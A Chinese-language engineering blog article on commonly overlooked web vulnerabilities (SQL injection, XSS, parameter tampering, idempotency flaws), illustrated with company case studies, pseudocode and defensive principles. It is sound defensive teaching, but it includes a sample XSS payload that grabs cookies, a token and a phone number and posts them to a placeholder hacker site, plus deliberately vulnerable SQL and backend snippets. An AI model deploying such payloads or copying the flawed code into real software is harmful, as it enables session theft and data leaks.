荔枝技术|WEB安全——那些被忽略的安全漏洞

作者廖宏盼,拥有多年微服务架构设计经验和中大型项目管理经验,并在WEB安全方面有一定的实践心得,目前就职于荔枝集团。

一、引言

这篇文章将从整体上介绍安全漏洞的预防措施,深入剖析那些看起来简单却容易被忽略的安全漏洞。通过实际案例的剖析呈现漏洞产生的真实威胁,了解安全漏洞背后的危害,同时提供实用的预防措施。

阅读本篇文章,你将得到如下收获:

(1)了解安全漏洞的基本概念以及漏洞的危害

(2)了解常见的安全漏洞原理以及预防措施

(3)了解实际案例中发生的原因以及改进措施

(4)了解安全漏洞在各个阶段的修复成本

(5)了解如何预防这些常见的安全漏洞

二、安全漏洞概述

1. 官方定义

指的是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,  从而可以使攻击者能够在未授权的情况下访问或破坏系统。

2. 通俗理解

安全漏洞就像是房子没有防盗网,  使得攻击者有机会进入计算机系统或软件内部进行非法操作。

3. 安全漏洞与Bug的区别

  • 包含关系:安全漏洞是Bug的一个子集
  • 交集关系:一部分漏洞由于产品的设计缺陷

4. 安全漏洞的危害

  • 资产损失:攻击者通过各种刷接口的方式,可能给企业造成巨大的资产损失。
  • 数据泄露:攻击者利用漏洞获取系统中存储的敏感信息,如账号、密码、手机号等敏感信息。
  • 服务中断:攻击者可能利用漏洞导致系统崩溃或服务不可用,影响正常业务运行。
  • 系统入侵:恶意用户通过漏洞进入系统,安装恶意软件、身份提权或者执行其他破坏性操作。
  • 身份盗窃:攻击者可以利用漏洞获取用户的登录凭证,进而冒充合法用户进行恶意活动。
  • 声誉损害:系统的安全漏洞一旦被滥用,可能损害组织的声誉,使用户失去信任。

三、常见的漏洞

1. 注入型

通常是将恶意数据(代码或脚本)通过输入参数提交到应用后端,从而影响程序的执行,这种类型的漏洞经常发生在程序没有充分验证和过滤用户输入的场景下。

1.1 SQL注入

1.1.1 概述

将SQL片段注入到请求参数中,随请求传递到数据库后被执行的攻击手法。主要发生在未对用户输入数据做充分校验和未使用参数化SQL的场景下。

1.1.2 示例

  • 语句写法如下:
  • 字符串拼接:
  • ① select * from users where username='' and password='';  
  • 参数化SQL(PrepareStatement):
  •  ② select * from users where username=? and password=?;  
  • MyBatis(自定义SQL):
  • ③ select * from users where username=#{username} and password=#{password};
  • ④ select * from users where username=${username} and `password`=${password};  MyBatis(Generator):
  • ⑤ example.or().andUserNameEqualTo(username).andPasswordEqualTso(password);
  • 哪个语句会被注入?

①、④会被注入,其余几条语句均是通过参数化SQL的方式与数据交互。MyBatis的$符号本质是字符串拼接的方式,并不能够防止SQL注入,#符号是占位符,是参数化SQL的方式 。

  • 思考题,脚本型语言容易被SQL注入吗?

答案是否定的,因为是否容易被SQL注入不取决于语言本身,而是取决于是否使用了参数化SQL的方式并且是否做了足够的参数校验,跟语言本身无关。

1.1.3 防范原则

  • 参数化:使用参数化的SQL语句,避免SQL代码与数据混在一起,例如PrepareStatement。
  • 校验过滤:避免输入的数据包含非法字符,可以使用正则表达式或其他方法过滤输入。
  • 加密存储:对敏感信息进行加密存储,这样即使被注入也无法直接查看敏感数据。
  • 权限控制:最小化权限控制,确保只能访问他们需要的数据,这可以减少攻击者的攻击面。

1.2 跨站脚本攻击(XSS)

1.2.1 概述

通过各种办法,在网页中插入攻击的脚本并在浏览器中执行,例如获取Cookie、Token发送到黑客网站。主要发生在网页中需要动态生成内容、回显数据的场景,例如留言、第三方插件和广告。根据攻击的载体,主要分为反射型和存储型。

1.2.2 反射型XSS

  • 概述

用户点击伪造的链接,服务器响应后,在返回的响应内容中出现攻击者的XSS代码,被浏览器执行。一来一回,XSS攻击脚本被Web Server反射回来给浏览器执行,所以称为反射型XSS。

  • 特点
  • 恶意脚本附加到 url 中,只有点击此链接才会引起攻击
  • 不具备持久性,只要不通过这个特定 url 访问,就不会有问题
  • 示例
  • 页面内容

Java
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>搜索结果</title>
</head>
<body>
    <h1>你的搜索词:<%= keyword %></h1>
    <hr/>
    <h1>搜索结果:</h1>
    <div>
        ...
    </div>
</body>
</html>

  • 访问地址:http://example.com/search?keyword=,keywork参数如下,那么当访问链接时就会发生反射型XSS注入漏洞

Java
<script>
    const cookie = document.cookie;
    const phone = document.getElementById("phone").innerText;
    const token = localStorage.getItem("token");
    const url = "黑客站点";
    $.post(url, {"token": token, "cookie": cookie, "phone": phone});
</script>

1.2.3 存储型XSS

  • 概述

存储型XSS攻击是指恶意脚本被通过各种方式,间接的被存储到网站服务器(数据库)中,攻击行为将伴随着恶意脚本一直存在。

  • 特点
  • XSS攻击代码存储于Web站点上;
  • 攻击者一般是通过网站的留言、评论、博客、日志等等功能(所有能够向Web站点输入内容的地方),将攻击代码存储到Web站点上的;

1.2.4 防范原则

  • 开发者
  • 输入过滤,可以使用正则表达式或其他方法过滤。
  • 输出编码,回显之前通过编码函数对数据编码。
  • 信息隐藏,敏感信息需要验证身份后才能展示,例如:135**** 
  • 设置Http-Only,Cookie 就无法通过JS访问,减少了被盗取的风险。
  • 设置CSP,限制页面可以执行的操作。CSP 可以减少 XSS 攻击的成功率。
  • 普通用户
  • 对未知链接不要有好奇心,不要点击来历不明的链接。
  • 浏览器安全功能,如同源策略(Same Origin Policy)和 Content Security Policy(CSP)。

2. 篡改型

2.1 概述

通俗来讲是指攻击者能够篡改、操纵传输中的数据来影响程序的执行,例如请求参数、响应实体。这种类型的漏洞经常发生在没有参数签名以及没有充分校验参数的场景下。

2.2 用户信息遍历的例子

  • 系统内有如下两个接口
  • 获取榜单信息

Java
GetMapping(name = "获取排行傍列表", value = "/getRankList")
public MsgObject getRankList() {
    // token 验证

    Result<RankList> result = getRankList();
    
    // 用户ID、用户昵称、头像、排行...
    return MsgObject.success(result.getData());
}

  • 获取用户信息

Java
@GetMapping(name = "获取他人用户信息", value = "/getUserInfo")
public MsgObject getUserInfo(long targetUserId) {
    // token 验证

    Result<UserInfo> result = getUserInfo(targetUserId);
    
    // 用户名、用户昵称、手机号...
    return MsgObject.success(result.getData());
}

  • 漏洞概述
  • 先通过排行榜获取到用户ID,又或是别的地方
  • 再通过用户信息接口遍历所有的用户ID
  • 这样就将用户信息遍历出去了,导致用户信息泄露
  • 容易忽略的问题

随着系统复杂度升高,构建用户信息的方法有很多,如果不留意每个构建方法的区别,很容易将敏感信息暴露给用户,例如如下代码

Java
public UserInfo buildUserInfo(UserEntity entity) {
    UserInfo userInfo = new UserInfo();
    userInfo.setId(entity.getId());
    userInfo.setPhone(entity.getPhone());
    ...

    return userInfo;
}

public UserInfoV2 buildUserInfoV2(UserEntity entity) {
    UserInfoV2 userInfo = new UserInfoV2();
    userInfo.setId(entity.getId());
    userInfo.setName(entity.getName());
    userInfo.setAvatar(entity.getAvatar());
    ...

    return userInfo;
}

2.3 防范原则

  • 零信任原则
  • 所有的输入都是不可信的,并且对输入进行充分的验证和过滤。
  • 参数验证,参数都需要经过后端根据具体场景进行验证,包括类型、范围等。
  • 状态验证,需要对状态流转做有效性验证,例如订单场景的订单状态。
  • 身份验证,一些关键场景尽可能做多因子验证,例如修改密码、提现等
  • 参数签名
  • 一般是将请求参数按照特定的规则排列后,生成签名串一同提交给后端。
  • 后端按照约定的规则,再次进行签名,得到签名串后进行比对。
  • 参数签名的基本逻辑:先约定好交互规则并确定秘钥,双方按照一致的规则进行签名和验签。
  • 参数签名
  • 按照既定的规则,对参数进行签名,生成签名信息提交给服务端。
  • 假设送礼接口的原始参数:token、giftId、targetUserId
  • 签名参数:nonce、time、key,nonce是随机字符串,time是当前时间,key是秘钥
  • 形成签名:sign = MD5("token=xx&giftId=xxx&...nonce=xxx&time=xxx&key=xxx)
  • 最终参数:token、giftId、targetUserId、nonce、time、sign
  • 参数验签
  • 验证完整性,按照约定的规则重新签名,比对签名值是否一致。
  • 验证合法性,nonce是否重复、time是否超时等。

3. 幂等型

3.1 概述

是指攻击者虽然不能篡改参数,但通过各种方式获取链接,重复请求,导致接口逻辑重复计算。这类漏洞经常发生在一些未做业务唯一的场景下,主要是一些写类型的接口。

3.2 kafka重复消费的例子

  • 概述

假设有这么一个场景,根据用户送出指定类型的礼物累计积分,积分  达到阈值后,奖励一个有价值的头像框。

  • 伪代码

Java
public void handler(GiftMessage msg) {
    long userId = msg.getUserId();
    int type = msg.getType();
    int amount = msg.getAmount();
    // ....

    if(type == SPECIAL_TYPE) {
        int credits = this.increase(userId, amount);
        if(credits >= VALUE) {
            this.reward(userId, PRIZE_ID);
            // ....
        }
    }
    // ....
}

  • 漏洞原因

当消费被重复消费的时候,就会存在重复计算计费,重新发放奖励,导致系统出现资产损失。

  • 问题思考
  • 什么时候会重复消费
  • 生产者重试
  • kafka消费端配置变更,从最新消费变成最早开始消费
  • 消费者故障或者消费者重平衡
  • kafka的特点是至少消费一次,因此很多场景下可能会出现重复消费
  • HttpGet请求会有幂等问题吗

具体需要看代码的实现,虽然GET请求是属于读接口,但业务逻辑里很可能有写的逻辑,需要根据具体业务逻辑来做幂等。

3.3 防范原则

  • 幂等原则
  • 是指对于同一个业务操作,无论执行多少次,对系统的结果都不会产生任何影响。
  • 唯一特征,识别或建立业务操作中的唯一特征,例如业务ID、关键属性、组合键等。

四、身边的案例

1. 协议重复请求导致资产损失(幂等型)

  • 概述

在一个1v1的匹配通话业务中,挂断协议被多次调用,导致重复结  算,导致企业资产损失。

  • 伪代码

Java
Reward reward = this.getReward(orderId);
if (reward == null) {
    reward = new Reward();
    reward.setUserId(userId);
    reward.setCallDuration(duration);
    reward.setRewardCoin(coin);
    this.mapper.insert(reward);

    // 调用支付接口
    tradeBaseService.changeAccountBalance(
            rewardId,
            TENANT_CODE,
            BIZ_ID,
            coin);
}

// ....

  • 漏洞原因

在客户端未做防抖,以及用户短时间内多次点击时,就容易引发并发问题,导致奖励重复计算,根据幂等型漏洞的防范原则,应该做业务唯一,保证幂等性

2. 某抓锦鲤玩法导致资产损失(篡改型)

  • 概述

在一个抓锦鲤的玩法中,设有初级、中级、高级锦鲤,抓不同类型  的锦鲤需要不同数量的金币。前端选择完类型之后,会将消耗的金  币数传给服务端,服务端进行扣费和派发锦鲤。

  • 伪代码

Java
public MsgObject handler(int coin, int rewardType) {
    // token校验
    // 抓锦鲤
    boolean success = this.pay(userId, coin);
    long rewardId = this.lottery(userId, coin, rewardType);
    // 派锦鲤
    boolean success = this.reward(userId, rewardId);
    // ...
}

  • 漏洞原因

抓锦鲤消耗的金币数和锦鲤的类型都是由客户端传递给服务端,服务端并没有校验合法性,因此当参数被篡改时,就会存在低消耗抓到高级锦鲤,导致资产损失。按照篡改型漏洞防范原则,应该做参数合法性校验和参数签名校验。并且按照当前业务特性,应该将消耗金币数和类型做绑定,前端传ID来抓锦鲤。

3. 某礼物玩法被篡改参数导致资产损失(篡改型)

  • 概述

在一个礼物玩法中,两个礼物A可以合成一个高价值礼物B,逻辑处  理中,需要扣减两个礼物A的库存,并且增加礼物B的库存。接口中  扣减的数量参数被拦截篡改,原本扣减变成了增加,导致资产损失。

  • 伪代码

Java
public MsgObject handler(long giftId, int number) {
    // token校验

    // 计算库存
    int stock = total - (number);
    boolean success = this.updateStock(userId, giftId, stock);

    // ...

    // 发放新礼物
    boolean success = this.reward(userId, rewardId);
    // ...
}

  • 漏洞原因

在处理逻辑中,giftId和数量由前端传递,并且依据数量计算最终库存,当number参数被篡改成负数时,反倒增加了库存,并且发放了奖励。按照篡改型漏洞防范原则,应该要做参数校验和参数签名校验。

4. 某装扮玩法被篡改参数导致资产损失(篡改型)

  • 概述

在一个装扮玩法中,前端页面展示自己所拥有的装扮,如果拥有则  展示佩戴按钮,点击即可完成佩戴。是否拥有通过接口字段 have  来控制,攻击者通过burp等工具篡改成拥有,导致不花钱就能佩戴。

  • 伪代码

Java
public MsgObject handler(long id) {
    // token校验

    // 佩戴动作
    boolean success = this.wear(userId, id);
    // ...
}

  • 漏洞原因

在后端的处理逻辑中,没有再次校验当前用户是否拥有这个装扮,导致恶意用户可以不花钱就可以佩戴装扮导致资产损失,按照篡改型漏洞防范原则,应该要做到零信任原则,并且要做参数签名校验。

五、为什么容易被忽略

这些漏洞都比较简单,而且细心一点也很容易被发现,但为什么还是发生了?

  • 没有意识到,很容易被忽略
  • 迭代很赶时间,但只考虑了迭代本身应有的实现,而忽略了安全因素。
  • 知道会有问题,但现在来不及了,上线后再完善一下,然而上线后忘记了。
  • 前端客户端已经有参数校验了,普通用户没那么容易改参数吧!

大部分存在以上的想法,所以需要特别留意,无论如何,不要忽略安全因素!

六、漏洞的修复成本

从整个研发周期来看,研发阶段修复成本最低,运营阶段修复成本最高,一些特别严重的安全漏洞,例如用户敏感信息泄露等,还可能会被有关部门入驻调查,因此需要在研发阶段尽量发现、预防和解决掉安全漏洞。

七、总结

安全漏洞一旦发生,危害极大,所以主要还是要以防范为主,尽量将漏洞扼杀在摇篮之中,避免导致品牌、用户以及资产受损,以下总结出常规的安全漏洞预防原则

  • 个人方面
  • 提高安全意识,无论迭代如何紧凑,也需要将安全因素放在重要的位置。
  • 持续学习,WEB安全是一个庞大的专业领域,需要保持知识更新。
  • 团队方面
  • 考虑建立规范和原则,将一些最佳实践沉淀为规范,大家一起遵守。
  • 漏洞预防原则
  • 零信任原则
  • 认证授权原则
  • 参数签名原则
  • 合法校验原则
  • 业务幂等原则
  • 加密通信原则
  • 数据脱敏原则
  • 密文存储原则
  • 系统方面

可以考虑建立一些公共系统或者能力,将参数签名、校验、鉴权等公共能力放在网关或者一些公共组件当中,提升研发效率的同时,避免各自实现的差异,导致结果不如预期。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值